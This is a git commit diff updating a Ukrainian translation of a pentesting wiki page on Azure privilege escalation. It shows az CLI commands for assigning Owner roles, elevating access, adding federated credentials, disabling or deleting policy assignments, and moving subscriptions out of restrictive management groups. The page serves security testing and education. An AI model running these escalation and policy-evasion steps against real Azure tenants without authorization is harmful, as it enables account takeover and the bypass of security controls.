Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-28 09:47:30 +00:00
parent a836174faa
commit bdaa772c8e

View File

@@ -4,7 +4,7 @@
## Azure IAM
Для отримання додаткової інформації перегляньте:
Для отримання додаткової інформації див.:
{{#ref}}
../az-services/az-azuread.md
@@ -12,14 +12,14 @@
### Microsoft.Authorization/roleAssignments/write
Цей дозвіл дозволяє призначати ролі принципам у межах конкретної області, що дозволяє зловмиснику підвищити привілеї, призначивши собі більш привілейовану роль:
Цей дозвіл дозволяє призначати ролі принципалам у межах конкретної області, що дає можливість атакуючому підвищити привілеї, призначивши собі більш привілейовану роль:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Цей дозвіл дозволяє змінювати дозволи, надані роллю, що дозволяє зловмиснику підвищувати привілеї, надаючи більше дозволів ролі, яку він призначив.
Цей дозвіл дає змогу змінювати права, надані ролі, що дозволяє зловмисникові підвищити привілеї, додавши більше прав ролі, яку він призначив.
Створіть файл `role.json` з наступним **вмістом**:
```json
@@ -36,16 +36,16 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Тоді оновіть дозволи ролі з попереднім визначенням, викликавши:
Потім оновіть дозволи ролі, викликавши попереднє визначення:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Ця дозволи дозволяє підвищувати привілеї та мати можливість призначати дозволи будь-якому принципалу для ресурсів Azure. Він призначений для надання Global Administrators Entra ID, щоб вони також могли керувати дозволами на ресурси Azure.
Цей дозвіл дозволяє підвищувати привілеї та призначати дозволи будь-якому principal для ресурсів Azure. Він призначений для Entra ID Global Administrators, щоб вони також могли керувати дозволами над ресурсами Azure.
> [!TIP]
> Я вважаю, що користувачеві потрібно бути Global Administrator в Entra ID, щоб виклик підвищення працював.
> Я думаю, користувач повинен бути Global Administrator в Entrad ID для того, щоб elevate call працював.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Цей дозвіл дозволяє додавати федеративні облікові дані до керованих ідентичностей. Наприклад, надати доступ до Github Actions у репозиторії керованій ідентичності. Потім це дозволяє **отримувати доступ до будь-якої визначеної користувачем керованої ідентичності**.
Цей дозвіл дозволяє додавати Federated credentials до managed identities. Наприклад, надати доступ Github Actions у repo до managed identity. Після цього він дозволяє **доступ до будь-якої визначеної користувачем managed identity**.
Приклад команди для надання доступу до репозиторію в Github керованій ідентичності:
Приклад команди для надання доступу repo в Github до managed identity:
```bash
# Generic example:
az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Атакувальник із дозволом `Microsoft.Authorization/policyAssignments/write` або `Microsoft.Authorization/policyAssignments/delete` на рівні групи керування, підписки або групи ресурсів може **змінювати або видаляти Azure policy assignments**, потенційно **відключаючи обмеження безпеки**, які блокують певні операції.
Це дає доступ до ресурсів або функціональностей, які раніше були захищені політикою.
**Видалити призначення політики:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Вимкнути призначення політики:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Перевірте зміни:**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write
Зловмисник з дозволом `Microsoft.Authorization/policyDefinitions/write` може **змінювати визначення політик у Azure**, змінюючи правила, що контролюють обмеження безпеки в середовищі.
Наприклад, політику, що обмежує дозволені регіони для створення ресурсів, можна змінити так, щоб дозволяти будь-який регіон, або ефект політики можна змінити, щоб зробити її неефективною.
**Змінити визначення політики:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Перевірте зміни:**
```bash
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Атакувальник з дозволом `Microsoft.Management/managementGroups/write` може **змінювати ієрархічну структуру management groups** або **створювати нові management groups**, потенційно обходячи обмежувальні політики, застосовані на вищих рівнях.
Наприклад, атакувальник може створити новий management group без обмежувальних політик і потім перемістити туди subscriptions.
**Створити новий management group:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Змінити ієрархію management group:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Перевірте зміни:**
```bash
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write
Зловмисник із дозволом `Microsoft.Management/managementGroups/subscriptions/write` може **переміщувати subscriptions між management groups**, потенційно **уникати обмежувальних політик**, перемістивши subscription до групи з менш суворими або без політик.
**Перемістити subscription до іншої management group:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**Перевірте зміни:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}